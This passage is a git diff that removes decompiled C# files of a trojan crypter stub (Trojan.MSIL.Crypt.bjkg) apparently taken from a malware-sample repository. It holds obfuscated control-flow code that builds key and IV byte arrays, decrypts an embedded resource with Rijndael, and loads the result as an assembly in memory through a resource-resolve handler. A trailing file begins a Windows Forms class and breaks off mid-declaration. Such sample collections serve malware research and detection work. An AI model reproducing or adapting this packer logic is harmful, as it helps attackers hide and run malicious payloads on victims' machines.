numArray2[21] = (byte) (130 - 43); - num7 = 170; - continue; - case 363: - goto label_370; - default: - goto label_163; - } - } -label_163: - num1 = 323; - goto label_160; -label_165: - num5 = 115 + 39; - num2 = 96; - continue; -label_167: - num4 = 89 + 104; - num2 = 131; - continue; -label_168: - numArray2[9] = (byte) num3; - num2 = 235; - if (!CHskyceuVnH7qeGTX6.JVg6kmqAC2ynoU6yld()) - continue; -label_169: - numArray1[6] = (byte) num4; - num2 = 201; - continue; -label_176: - numArray2[27] = (byte) num5; - num2 = 205; - continue; -label_177: - numArray2[12] = (byte) num3; - num2 = 115; - continue; -label_181: - numArray2[24] = (byte) num5; - num1 = 3; - goto label_160; -label_182: - num3 = 178 - 59; - num1 = 184; - goto label_160; -label_183: - num4 = 105 + 11; - num2 = 293; - if (!CHskyceuVnH7qeGTX6.JVg6kmqAC2ynoU6yld()) - continue; -label_184: - num4 = 231 - 77; - num1 = 100; - goto label_160; -label_185: - num4 = 235 - 78; - num1 = 217; - goto label_160; -label_187: - if (CHskyceuVnH7qeGTX6.\u00334mP7aet5cqtyKDxQB((object) CHskyceuVnH7qeGTX6.cZ5qAPNHL[index], (object) str)) - { - num1 = 328; - goto label_160; - } - else - goto label_287; -label_189: - num6 = 149 - 49; - num1 = 171; - goto label_160; -label_191: - num3 = 22 + 42; - num1 = 267; - goto label_160; -label_192: - num5 = 96 + 79; - num2 = 310; - if (CHskyceuVnH7qeGTX6.JVg6kmqAC2ynoU6yld()) - goto label_82; - else - continue; -label_200: - num6 = 179 - 59; - num2 = 281; - if (true) - continue; -label_201: - numArray2[30] = (byte) num5; - num2 = 103; - if (!CHskyceuVnH7qeGTX6.BEkPvu644HnBSlmb2l()) - goto label_368; - else - continue; -label_202: - num5 = 129 - 95; - num2 = 295; - if (!CHskyceuVnH7qeGTX6.BEkPvu644HnBSlmb2l()) - goto label_133; - else - continue; -label_206: - numArray1[7] = (byte) (48 + 4); - num1 = 2; - goto label_160; -label_208: - numArray2[29] = (byte) num5; - num2 = (int) byte.MaxValue; - if (CHskyceuVnH7qeGTX6.JVg6kmqAC2ynoU6yld()) - goto label_286; - else - continue; -label_209: - numArray1[6] = (byte) num6; - num2 = 26; - continue; -label_210: - num3 = 111 + 101; - num2 = 307; - continue; -label_211: - index = 0; - num2 = 128; - if (true) - continue; -label_212: - numArray2[21] = (byte) (196 - 65); - num1 = 160; - goto label_160; -label_213: - num5 = 83 + 54; - num1 = 178; - goto label_160; -label_215: - num4 = 169 + 85; - num1 = 287; - goto label_160; -label_216: - num4 = 111 + 74; - num2 = 134; - if (CHskyceuVnH7qeGTX6.BEkPvu644HnBSlmb2l()) - continue; -label_217: - numArray2[4] = (byte) (184 - 61); - num2 = 216; - if (CHskyceuVnH7qeGTX6.BEkPvu644HnBSlmb2l()) - continue; -label_218: - numArray1[1] = (byte) num4; - num2 = 129; - continue; -label_316: - num3 = 44 + 31; - num2 = 329; - if (!CHskyceuVnH7qeGTX6.BEkPvu644HnBSlmb2l()) - goto label_363; - else - continue; -label_361: - num3 = 181 + 40; - num2 = 181; - if (true) - continue; -label_362: - numArray5 = (byte[]) CHskyceuVnH7qeGTX6.DTlqCoWaWlkxCLpugl((object) memoryStream); - num2 = 251; - if (true) - continue; -label_363: - CHskyceuVnH7qeGTX6.uOB0cntwCXcZXLG9Oc((object) cryptoStream); - num2 = 102; - if (CHskyceuVnH7qeGTX6.BEkPvu644HnBSlmb2l()) - continue; -label_364: - numArray1[5] = (byte) (53 + 100); - num2 = 282; - if (CHskyceuVnH7qeGTX6.JVg6kmqAC2ynoU6yld()) - goto label_165; - } - while (true); - goto label_219; -label_108: - numArray2[14] = (byte) (45 + 57); - num2 = 285; - } - while (!CHskyceuVnH7qeGTX6.JVg6kmqAC2ynoU6yld()); - goto label_147; -label_54: - numArray2[10] = (byte) (25 + 9); - num2 = 183; - if (true) - continue; -label_55: - numArray2[20] = (byte) num5; - num2 = 36; - if (!CHskyceuVnH7qeGTX6.BEkPvu644HnBSlmb2l()) - goto label_324; - else - continue; -label_87: - numArray2[28] = (byte) num3; - num2 = 248; - if (!CHskyceuVnH7qeGTX6.BEkPvu644HnBSlmb2l()) - goto label_282; - else - continue; -label_121: - CHskyceuVnH7qeGTX6.sldSlJoih = (Assembly) CHskyceuVnH7qeGTX6.j1872r2Rfc2gf7heRt(CHskyceuVnH7qeGTX6.f9xPppHwBhPnBDwtBX((object) numArray5)); - num2 = 1; - if (!CHskyceuVnH7qeGTX6.BEkPvu644HnBSlmb2l()) - goto label_282; - else - continue; -label_219: - num4 = 38 + 91; - num1 = 37; - goto label_160; -label_220: - numArray2[0] = (byte) (23 + 6); - num2 = 214; - continue; -label_221: - num5 = 120 + 88; - num1 = 355; - goto label_160; -label_222: - num3 = 103 + 74; - CHskyceuVnH7qeGTX6.JVg6kmqAC2ynoU6yld(); - if (CHskyceuVnH7qeGTX6.BEkPvu644HnBSlmb2l()) - { - num2 = 105; - continue; - } - goto label_40; -label_226: - num5 = 235 - 78; - num2 = 87; - if (CHskyceuVnH7qeGTX6.BEkPvu644HnBSlmb2l()) - continue; -label_227: - numArray2[29] = (byte) num5; - num1 = 75; - goto label_160; -label_228: - numArray1[15] = (byte) num6; - num2 = 197; - if (true) - continue; -label_229: - num3 = 232 - 77; - num1 = 69; - goto label_160; -label_230: - num3 = 192 - 64; - num2 = 123; - if (!CHskyceuVnH7qeGTX6.BEkPvu644HnBSlmb2l()) - goto label_240; - else - continue; -label_232: - numArray1[4] = (byte) num6; - num2 = 289; - continue; -label_236: - numArray2[2] = (byte) num5; - num1 = 88; - goto label_160; -label_239: - numArray2[4] = (byte) num5; - num1 = 264; - goto label_160; -label_240: - num5 = 253 - 84; - num1 = 30; - goto label_160; -label_241: - numArray2[6] = (byte) (14 + 7); - num1 = 138; - goto label_160; -label_250: - num4 = 51 + 105; - num2 = 142; - continue; -label_251: - numArray1[3] = (byte) (121 - 66); - num1 = 89; - goto label_160; -label_252: - numArray2[16] = (byte) num3; - num1 = 84; - goto label_160; -label_253: - numArray2[22] = (byte) num5; - num2 = 124; - if (true) - continue; -label_254: - num3 = 102 + 62; - num2 = 39; - if (CHskyceuVnH7qeGTX6.JVg6kmqAC2ynoU6yld()) - goto label_130; - else - continue; -label_258: - numArray1[14] = (byte) num4; - num1 = 322; - goto label_160; -label_259: - num6 = 143 - 47; - num2 = 229; - if (!CHskyceuVnH7qeGTX6.JVg6kmqAC2ynoU6yld()) - continue; -label_260: - numArray2[16] = (byte) (155 - 51); - num1 = 13; - goto label_160; -label_262: - numArray2[25] = (byte) (131 - 43); - num2 = 234; - continue; -label_265: - numArray1[5] = (byte) num4; - num2 = 269; - continue; -label_266: - numArray2[23] = (byte) num5; - num2 = 338; - if (!CHskyceuVnH7qeGTX6.JVg6kmqAC2ynoU6yld()) - continue; -label_267: - numArray2[15] = (byte) (151 + 60); - num2 = 81; - continue; -label_274: - numArray2[14] = (byte) num3; - num1 = 104; - goto label_160; -label_275: - numArray2[1] = (byte) (235 - 78); - num1 = 166; - goto label_160; -label_276: - numArray1[4] = (byte) num4; - num2 = 161; - continue; -label_279: - num5 = 193 - 64; - num2 = 256; - if (true) - continue; -label_280: - numArray2[26] = (byte) (73 - 5); - num1 = 79; - goto label_160; -label_282: - numArray2[15] = (byte) (43 + 21); - num1 = 219; - goto label_160; -label_283: - numArray1[14] = (byte) (184 - 61); - num2 = 196; - if (!CHskyceuVnH7qeGTX6.BEkPvu644HnBSlmb2l()) - goto label_274; - else - continue; -label_284: - numArray2[21] = (byte) (121 + 118); - num1 = 218; - goto label_160; -label_285: - numArray2[18] = (byte) (66 - 65); - num2 = 150; - if (!CHskyceuVnH7qeGTX6.BEkPvu644HnBSlmb2l()) - goto label_23; - else - continue; -label_286: - return CHskyceuVnH7qeGTX6.sldSlJoih; -label_287: - ++index; - num1 = 346; - goto label_160; -label_288: - num6 = 101 + 108; - num1 = 62; - goto label_160; -label_289: - numArray2[17] = (byte) num5; - num2 = 98; - if (true) - continue; -label_290: - numArray2[29] = (byte) (107 + 65); - num2 = 27; - continue; -label_291: - numArray2[27] = (byte) num5; - num1 = 21; - goto label_160; -label_297: - numArray2[1] = (byte) num3; - num1 = 110; - goto label_160; -label_298: - numArray1[5] = (byte) num6; - num1 = 52; - goto label_160; -label_299: - numArray1[12] = (byte) (8 + 119); - num1 = 198; - goto label_160; -label_300: - num5 = 182 - 65; - num2 = 190; - if (true) - continue; -label_301: - numArray1[14] = (byte) num6; - num2 = 208; - if (true) - continue; -label_302: - numArray2[23] = (byte) num3; - num1 = 301; - goto label_160; -label_311: - numArray1[15] = (byte) num6; - num1 = 306; - goto label_160; -label_312: - numArray1[7] = (byte) num4; - num2 = 227; - if (!CHskyceuVnH7qeGTX6.BEkPvu644HnBSlmb2l()) - goto label_57; - else - continue; -label_314: - numArray4 = numArray1; - num2 = 271; - if (true) - continue; -label_315: - numArray2[21] = (byte) num3; - num1 = 253; - goto label_160; -label_318: - numArray2[20] = (byte) num3; - num1 = 359; - goto label_160; -label_319: - numArray1[11] = (byte) (72 + 116); - num2 = 266; - if (CHskyceuVnH7qeGTX6.BEkPvu644HnBSlmb2l()) - continue; -label_320: - num3 = 200 - 66; - num1 = 351; - goto label_160; -label_322: - numArray2[0] = (byte) num3; - num2 = 9; - if (CHskyceuVnH7qeGTX6.BEkPvu644HnBSlmb2l()) - continue; -label_323: - numArray2[31] = (byte) (108 + 94); - num1 = 18; - goto label_160; -label_324: - numArray2[1] = (byte) (102 + 81); - num2 = 54; - continue; -label_360: - numArray2[16] = (byte) (146 - 48); - num2 = 257; - if (!CHskyceuVnH7qeGTX6.BEkPvu644HnBSlmb2l()) - goto label_55; - } - while (true); - goto label_325; -label_40: - num2 = 148; - } - while (true); - goto label_41; -label_47: - numArray1[10] = (byte) (155 - 88); - num2 = 43; - if (CHskyceuVnH7qeGTX6.BEkPvu644HnBSlmb2l()) - continue; -label_48: - num5 = 201 - 67; - num2 = 336; - if (!CHskyceuVnH7qeGTX6.JVg6kmqAC2ynoU6yld()) - continue; -label_49: - num6 = 112 + 65; - num2 = 206; - if (true) - continue; -label_50: - numArray2[6] = (byte) num3; - num2 = 71; - } - while (CHskyceuVnH7qeGTX6.BEkPvu644HnBSlmb2l()); - goto label_80; -label_61: - num4 = 81 + 59; - num2 = 350; - } - while (CHskyceuVnH7qeGTX6.BEkPvu644HnBSlmb2l()); - goto label_62; -label_25: - numArray2[13] = (byte) num3; - num2 = 153; - if (true) - continue; -label_26: - numArray2[1] = (byte) (134 - 44); - num2 = 121; - if (true) - continue; -label_27: - numArray2[12] = (byte) num5; - num2 = 200; - } - while (true); - goto label_28; -label_115: - num6 = 108 + 34; - num2 = 60; - } - while (!CHskyceuVnH7qeGTX6.JVg6kmqAC2ynoU6yld()); - goto label_116; -label_129: - numArray2[15] = (byte) (212 - 70); - num2 = 237; - } - while (!CHskyceuVnH7qeGTX6.JVg6kmqAC2ynoU6yld()); - goto label_130; -label_23: - CHskyceuVnH7qeGTX6.fNFrHT0Nm58nIBD1He((object) binaryReader); - num2 = 108; - } - while (true); - goto label_24; -label_70: - numArray2[0] = (byte) (236 - 78); - num2 = 73; - } - while (true); - goto label_71; -label_132: - numArray2[13] = (byte) (22 + 123); - num2 = 164; - } - while (true); - goto label_133; -label_59: - numArray2[2] = (byte) num5; - num2 = 141; - if (CHskyceuVnH7qeGTX6.BEkPvu644HnBSlmb2l()) - continue; -label_60: - numArray2[15] = (byte) (238 - 79); - num2 = 182; - } - while (CHskyceuVnH7qeGTX6.BEkPvu644HnBSlmb2l()); - goto label_21; -label_8: - num3 = 111 + 14; - num2 = 354; - } - while (true); - goto label_9; -label_99: - num4 = 62 + 120; - num2 = 284; - } - while (true); - goto label_100; -label_104: - num6 = 202 - 67; - num2 = 313; - if (CHskyceuVnH7qeGTX6.BEkPvu644HnBSlmb2l()) - continue; -label_105: - CHskyceuVnH7qeGTX6.\u0032dDRIvvExc65jVpG2v((object) cryptoStream); - num2 = 172; - if (!CHskyceuVnH7qeGTX6.JVg6kmqAC2ynoU6yld()) - continue; -label_106: - numArray2[25] = (byte) num5; - num2 = 140; - continue; -label_119: - numArray1[15] = (byte) num4; - num2 = 20; - if (CHskyceuVnH7qeGTX6.JVg6kmqAC2ynoU6yld()) - goto label_106; - } - while (true); - goto label_107; -label_64: - num5 = 139 + 89; - num2 = 261; - } - while (true); - goto label_65; -label_84: - num5 = 59 + 104; - num2 = 31; - } - while (CHskyceuVnH7qeGTX6.BEkPvu644HnBSlmb2l()); - goto label_101; -label_32: - num4 = 22 + 53; - num2 = 28; - } - while (CHskyceuVnH7qeGTX6.BEkPvu644HnBSlmb2l()); - goto label_33; -label_157: - CHskyceuVnH7qeGTX6.\u0033rT7m2ud6FgoRQLwfO(CHskyceuVnH7qeGTX6.h3Qh2PL1G1VSKAK6rV((object) binaryReader), 0L); - num2 = 135; - } - while (true); - goto label_158; -label_9: - numArray1[0] = (byte) ((int) sbyte.MaxValue + 82); - num2 = 0; - continue; -label_10: - numArray2[16] = (byte) (20 + 122); - num2 = 316; - continue; -label_12: - numArray2[18] = (byte) (80 + 27); - num2 = 194; - continue; -label_18: - CHskyceuVnH7qeGTX6.q6tLgkZeQH4aRendRR((object) cryptoStream, (object) numArray6, 0, numArray6.Length); - num2 = 258; - continue; -label_19: - num5 = 140 - 46; - num2 = 97; - continue; -label_24: - numArray2[15] = (byte) (248 - 82); - num2 = 297; - continue; -label_28: - numArray1[14] = (byte) (93 + 83); - num2 = 152; - continue; -label_29: - numArray1[13] = (byte) num6; - num2 = 32; - continue; -label_38: - numArray2[26] = (byte) (129 - 43); - num2 = 147; - continue; -label_56: - numArray2[2] = (byte) (48 + 50); - num2 = 314; - continue; -label_74: - numArray2[23] = (byte) num3; - num2 = 175; - continue; -label_82: - numArray2[20] = (byte) (225 - 75); - num2 = 45; - continue; -label_83: - num5 = 29 + 66; - num2 = 47; - continue; -label_92: - numArray1[9] = (byte) num6; - num2 = 202; - continue; -label_112: - numArray1[15] = (byte) (186 - 62); - num2 = 33; - continue; -label_116: - numArray1[10] = (byte) (61 + 13); - num2 = 305; - continue; -label_130: - numArray1[5] = (byte) (110 + 120); - num2 = 308; - continue; -label_134: - num3 = 74 + 48; - num2 = 344; - continue; -label_142: - numArray2[30] = (byte) (162 + 18); - num2 = 277; - continue; -label_158: - numArray2[7] = (byte) num5; - num2 = 86; - continue; -label_332: - num4 = 156 + 92; - num2 = 114; - continue; -label_334: - numArray2[8] = (byte) (250 - 83); - num2 = 279; - continue; -label_336: - numArray1[12] = (byte) (25 + 46); - num2 = 311; - continue; -label_341: - numArray2[4] = (byte) (52 + 37); - num2 = 276; - continue; -label_345: - num6 = 222 - 74; - num2 = 92; - continue; -label_347: - num5 = 101 + 90; - num2 = 189; - continue; -label_348: - numArray2[18] = (byte) num3; - num2 = 151; - continue; -label_368: - numArray2[31] = (byte) (198 - 66); - num2 = 83; - } -label_1: - numArray1[2] = (byte) (97 + 122); - num1 = 163; - continue; -label_3: - num3 = 237 - 79; - num1 = 319; - continue; -label_4: - numArray1[9] = (byte) num4; - num1 = 16; - continue; -label_20: - num6 = 166 - 55; - num1 = 356; - continue; -label_21: - num3 = 0 + 21; - num1 = 12; - continue; -label_31: - numArray2[21] = (byte) num5; - num1 = 362; - continue; -label_33: - numArray1[11] = (byte) num4; - num1 = 304; - continue; -label_34: - num3 = 190 - 63; - num1 = 333; - continue; -label_35: - numArray2[24] = (byte) num3; - num1 = 116; - continue; -label_37: - ICryptoTransform transform = (ICryptoTransform) CHskyceuVnH7qeGTX6.fE7GjbyR6XIEqh2lVQ((object) rijndaelManaged, (object) numArray3, (object) numArray4); - num1 = 95; - continue; -label_41: - numArray2[29] = (byte) (190 - 63); - num1 = 244; - continue; -label_45: - if ((object) CHskyceuVnH7qeGTX6.sldSlJoih == null) - { - num1 = 299; - continue; - } - goto label_155; -label_51: - numArray2[5] = (byte) (2 + 21); - num1 = 144; - continue; -label_57: - numArray5 = new byte[0]; - num1 = 203; - continue; -label_62: - numArray2[23] = (byte) num3; - num1 = 260; - continue; -label_63: - numArray1 = new byte[16]; - num1 = 41; - continue; -label_65: - num3 = 68 - 53; - num1 = 345; - continue; -label_67: - numArray1[11] = (byte) (189 + 5); - num1 = 132; - continue; -label_69: - numArray2[28] = (byte) num5; - num1 = 50; - continue; -label_71: - numArray1[11] = (byte) (178 - 59); - num1 = 53; - continue; -label_75: - numArray1[13] = (byte) num4; - num1 = 318; - continue; -label_77: - numArray1[13] = (byte) num4; - num1 = 298; - continue; -label_79: - numArray2[3] = (byte) (171 - 57); - num1 = 275; - continue; -label_80: - numArray2[14] = (byte) (41 + 37); - num1 = 191; - continue; -label_91: - numArray1[5] = (byte) (93 + 77); - num1 = 137; - continue; -label_94: - num4 = 207 - 69; - num1 = 120; - continue; -label_95: - num3 = 208 - 69; - num1 = 180; - continue; -label_98: - numArray2[8] = (byte) (132 + 41); - num1 = 246; - continue; -label_100: - numArray2[17] = (byte) (157 - 52); - num1 = 358; - continue; -label_101: - numArray2[14] = (byte) num5; - num1 = 72; - continue; -label_103: - numArray1[13] = (byte) (74 + 116); - num1 = 136; - continue; -label_107: - cryptoStream = new CryptoStream((Stream) memoryStream, transform, CryptoStreamMode.Write); - num1 = 44; - continue; -label_117: - numArray1[1] = (byte) (130 - 43); - num1 = 280; - continue; -label_131: - numArray2[13] = (byte) (178 - 107); - num1 = 8; - continue; -label_133: - numArray2[0] = (byte) (150 - 50); - num1 = 239; - continue; -label_139: - numArray1[8] = (byte) (101 + 22); - num1 = 339; - continue; -label_143: - CHskyceuVnH7qeGTX6.cZ5qAPNHL = (string[]) CHskyceuVnH7qeGTX6.LeJHrljFD9Dy0Sh95O((object) CHskyceuVnH7qeGTX6.sldSlJoih); - num1 = 195; - continue; -label_147: - numArray1[3] = (byte) (102 + 112); - num1 = 35; - continue; -label_148: - num5 = 68 - 63; - num1 = 187; - continue; -label_155: - str = (string) CHskyceuVnH7qeGTX6.\u0037qnBrvUwA1kyg3xLfu((object) obj1); - num1 = 112; - continue; -label_156: - numArray1[4] = (byte) (82 + 116); - num1 = 325; - continue; -label_325: - num5 = 85 + 58; - num1 = 74; - continue; -label_327: - numArray1[2] = (byte) num6; - num1 = 240; - continue; -label_328: - num6 = 46 + 120; - num1 = 321; - continue; -label_335: - num3 = 185 - 61; - num1 = 265; - continue; -label_342: - num3 = 157 + 55; - num1 = 107; - continue; -label_343: - numArray2[23] = (byte) (110 - 12); - num1 = 292; - continue; -label_344: - numArray2[2] = (byte) num5; - num1 = 154; - continue; -label_352: - num5 = 35 + 40; - num1 = 59; - continue; -label_354: - numArray1[12] = (byte) (151 + 23); - num1 = 65; - continue; -label_355: - num3 = 25 + 108; - num1 = 122; - continue; -label_371: - memoryStream = new MemoryStream(); - num1 = 236; - } -label_370: - return (Assembly) null; - } - - [MethodImpl(MethodImplOptions.NoInlining)] - public CHskyceuVnH7qeGTX6() - { - CUme9i4KCMod2luIIH.qq3VZGcpG11Uo(); - // ISSUE: explicit constructor call - base.\u002Ector(); - AppDomain.CurrentDomain.ResourceResolve += new ResolveEventHandler(CHskyceuVnH7qeGTX6.Eea6MtuWo); - } - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static void b4QmQJlpj6Xkl() - { - if (CHskyceuVnH7qeGTX6.JMguLoZcP) - return; - CHskyceuVnH7qeGTX6.JMguLoZcP = true; - CHskyceuVnH7qeGTX6 chskyceuVnH7qeGtX6 = new CHskyceuVnH7qeGTX6(); - } - - [MethodImpl(MethodImplOptions.NoInlining)] - static CHskyceuVnH7qeGTX6() - { - CUme9i4KCMod2luIIH.qq3VZGcpG11Uo(); - CHskyceuVnH7qeGTX6.cZ5qAPNHL = new string[0]; - CHskyceuVnH7qeGTX6.sldSlJoih = (Assembly) null; - CHskyceuVnH7qeGTX6.JMguLoZcP = false; - } - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static Type QBIfepSDxDyQXVKpNe([In] RuntimeTypeHandle obj0) => Type.GetTypeFromHandle(obj0); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object PEQuiEXn6CcUuO0Ccq([In] object obj0, [In] object obj1) => (object) ((Assembly) obj0).GetManifestResourceStream((string) obj1); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object h3Qh2PL1G1VSKAK6rV([In] object obj0) => (object) ((BinaryReader) obj0).BaseStream; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static void \u0033rT7m2ud6FgoRQLwfO([In] object obj0, [In] long obj1) => ((Stream) obj0).Position = obj1; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static long u0QhHk8kfjXBKxg5YM([In] object obj0) => ((Stream) obj0).Length; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object oVjQSoOshprCg5AQP1([In] object obj0, [In] int obj1) => (object) ((BinaryReader) obj0).ReadBytes(obj1); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static void tWax0qooyQBALUWx1C([In] object obj0, [In] CipherMode obj1) => ((SymmetricAlgorithm) obj0).Mode = obj1; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object fE7GjbyR6XIEqh2lVQ([In] object obj0, [In] object obj1, [In] object obj2) => (object) ((SymmetricAlgorithm) obj0).CreateDecryptor((byte[]) obj1, (byte[]) obj2); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static void q6tLgkZeQH4aRendRR([In] object obj0, [In] object obj1, [In] int obj2, [In] int obj3) => ((Stream) obj0).Write((byte[]) obj1, obj2, obj3); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static void \u0032dDRIvvExc65jVpG2v([In] object obj0) => ((CryptoStream) obj0).FlushFinalBlock(); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object DTlqCoWaWlkxCLpugl([In] object obj0) => (object) ((MemoryStream) obj0).ToArray(); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static void uOB0cntwCXcZXLG9Oc([In] object obj0) => ((Stream) obj0).Close(); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static void fNFrHT0Nm58nIBD1He([In] object obj0) => ((BinaryReader) obj0).Close(); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object f9xPppHwBhPnBDwtBX([In] object obj0) => (object) CHskyceuVnH7qeGTX6.ZvO6JDcpkDA7sWVfXc.F62IVmy9c((byte[]) obj0); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object j1872r2Rfc2gf7heRt([In] object obj0) => (object) Assembly.Load((byte[]) obj0); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object LeJHrljFD9Dy0Sh95O([In] object obj0) => (object) ((Assembly) obj0).GetManifestResourceNames(); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object \u0037qnBrvUwA1kyg3xLfu([In] object obj0) => (object) ((ResolveEventArgs) obj0).Name; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static bool \u00334mP7aet5cqtyKDxQB([In] object obj0, [In] object obj1) => (string) obj0 == (string) obj1; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static bool BEkPvu644HnBSlmb2l() => true; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static bool JVg6kmqAC2ynoU6yld() => false; - - private enum LIZxBkmEnBw3HIGHD4 - { - } - - internal class ZvO6JDcpkDA7sWVfXc - { - [MethodImpl(MethodImplOptions.NoInlining)] - static unsafe uint Eea6MtuWo([In] void* obj0, [In] uint obj1) => 0; - - [MethodImpl(MethodImplOptions.NoInlining)] - static unsafe void cZ5qAPNHL([In] uint obj0, [In] void* obj1, [In] uint obj2) - { - } - - [MethodImpl(MethodImplOptions.NoInlining)] - static unsafe bool sldSlJoih([In] void* obj0, [In] void* obj1, [In] uint obj2) => true; - - [MethodImpl(MethodImplOptions.NoInlining)] - static unsafe bool JMguLoZcP([In] void* obj0, [In] string obj1) => true; - - [MethodImpl(MethodImplOptions.NoInlining)] - static unsafe void v7iLxTZco([In] void* obj0, [In] byte obj1, [In] uint obj2) - { - } - - [MethodImpl(MethodImplOptions.NoInlining)] - static unsafe void ZOnXBVgjL([In] void* obj0, [In] void* obj1, [In] uint obj2) - { - } - - [MethodImpl(MethodImplOptions.NoInlining)] - static unsafe void XQI8npbYJ([In] void* obj0, [In] string obj1) - { - } - - [MethodImpl(MethodImplOptions.NoInlining)] - static unsafe void \u0031nsKMSkxv([In] byte* obj0, [In] byte* obj1, [In] uint obj2) - { - } - - [MethodImpl(MethodImplOptions.NoInlining)] - static uint inbVf0Zbr([In] byte[] obj0, [In] uint obj1, [In] CHskyceuVnH7qeGTX6.LIZxBkmEnBw3HIGHD4 obj2) => 0; - - [MethodImpl(MethodImplOptions.NoInlining)] - static uint Ziy2dEm4g([In] byte[] obj0) => 0; - - [MethodImpl(MethodImplOptions.NoInlining)] - public static uint hiZ0MSYdo([In] byte[] obj0, [In] uint obj1) => 0; - - [MethodImpl(MethodImplOptions.NoInlining)] - static uint daak83AiW([In] byte[] obj0, [In] uint obj1, [In] byte[] obj2, [In] uint obj3) => 0; - - [MethodImpl(MethodImplOptions.NoInlining)] - static uint \u0032hagG2vxn([In] byte[] obj0, [In] uint obj1, [In] byte[] obj2) => 0; - - [MethodImpl(MethodImplOptions.NoInlining)] - static byte[] \u0038tXJx7vxx([In] string obj0) => (byte[]) null; - - [MethodImpl(MethodImplOptions.NoInlining)] - public static byte[] SV4N6ZfCM([In] string obj0) => (byte[]) null; - - [MethodImpl(MethodImplOptions.NoInlining)] - public static byte[] ipBTORpvx([In] string obj0) => (byte[]) null; - - [MethodImpl(MethodImplOptions.NoInlining)] - public static byte[] \u0035CnsojcKq([In] byte[] obj0) => (byte[]) null; - - [MethodImpl(MethodImplOptions.NoInlining)] - public static byte[] F62IVmy9c([In] byte[] obj0) => (byte[]) null; - - [MethodImpl(MethodImplOptions.NoInlining)] - public static byte[] \u0031Nj3E1tlX([In] byte[] obj0, [In] uint obj1, [In] uint obj2) => (byte[]) null; - - [MethodImpl(MethodImplOptions.NoInlining)] - public static byte[] AuwmDaASY([In] byte[] obj0, [In] uint obj1) => (byte[]) null; - - [MethodImpl(MethodImplOptions.NoInlining)] - public ZvO6JDcpkDA7sWVfXc() - { - } - - static ZvO6JDcpkDA7sWVfXc() => GeQKoeh9BTa5jMZgSa.duwLblChk(); - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bjkg-1c80974ba738156428239362dd9cf4434db6be2012ae3d7e68ebb6642352f8f2/assemblyCompressor/Core/subSystem/PoweredByAssemblyCompressor.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bjkg-1c80974ba738156428239362dd9cf4434db6be2012ae3d7e68ebb6642352f8f2/assemblyCompressor/Core/subSystem/PoweredByAssemblyCompressor.cs deleted file mode 100644 index f2db412a..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bjkg-1c80974ba738156428239362dd9cf4434db6be2012ae3d7e68ebb6642352f8f2/assemblyCompressor/Core/subSystem/PoweredByAssemblyCompressor.cs +++ /dev/null @@ -1,23 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: assemblyCompressor.Core.subSystem.PoweredByAssemblyCompressor -// Assembly: CrIpterStub_new, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: E7482193-993A-4E14-A111-60CAB09B5D25 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.bjkg-1c80974ba738156428239362dd9cf4434db6be2012ae3d7e68ebb6642352f8f2.exe - -using System.Runtime.CompilerServices; -using w4HscHkVC8kusVwrdY; - -namespace assemblyCompressor.Core.subSystem -{ - public sealed class PoweredByAssemblyCompressor - { - public const string Website = "http://maximiliankrauss.net"; - - [MethodImpl(MethodImplOptions.NoInlining)] - public PoweredByAssemblyCompressor() - { - } - - static PoweredByAssemblyCompressor() => GeQKoeh9BTa5jMZgSa.duwLblChk(); - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bjkg-1c80974ba738156428239362dd9cf4434db6be2012ae3d7e68ebb6642352f8f2/b4ZCm5KbAknf3O2Ixs/Ll83YO8eqnqhEteIfC.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bjkg-1c80974ba738156428239362dd9cf4434db6be2012ae3d7e68ebb6642352f8f2/b4ZCm5KbAknf3O2Ixs/Ll83YO8eqnqhEteIfC.cs deleted file mode 100644 index 24cb93ed..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bjkg-1c80974ba738156428239362dd9cf4434db6be2012ae3d7e68ebb6642352f8f2/b4ZCm5KbAknf3O2Ixs/Ll83YO8eqnqhEteIfC.cs +++ /dev/null @@ -1,84 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: b4ZCm5KbAknf3O2Ixs.Ll83YO8eqnqhEteIfC -// Assembly: CrIpterStub_new, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: E7482193-993A-4E14-A111-60CAB09B5D25 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.bjkg-1c80974ba738156428239362dd9cf4434db6be2012ae3d7e68ebb6642352f8f2.exe - -using System; -using System.ComponentModel; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Windows.Forms; -using w4HscHkVC8kusVwrdY; - -namespace b4ZCm5KbAknf3O2Ixs -{ - internal class Ll83YO8eqnqhEteIfC : Form - { - private Panel Nr5UBEyhM; - private Button AC832ICe1; - private Label Wtd0r3S1V; - private Panel uJr5ZViT7; - private PictureBox AcBxIbfjI; - private Label DiMVqfSET; - private TextBox 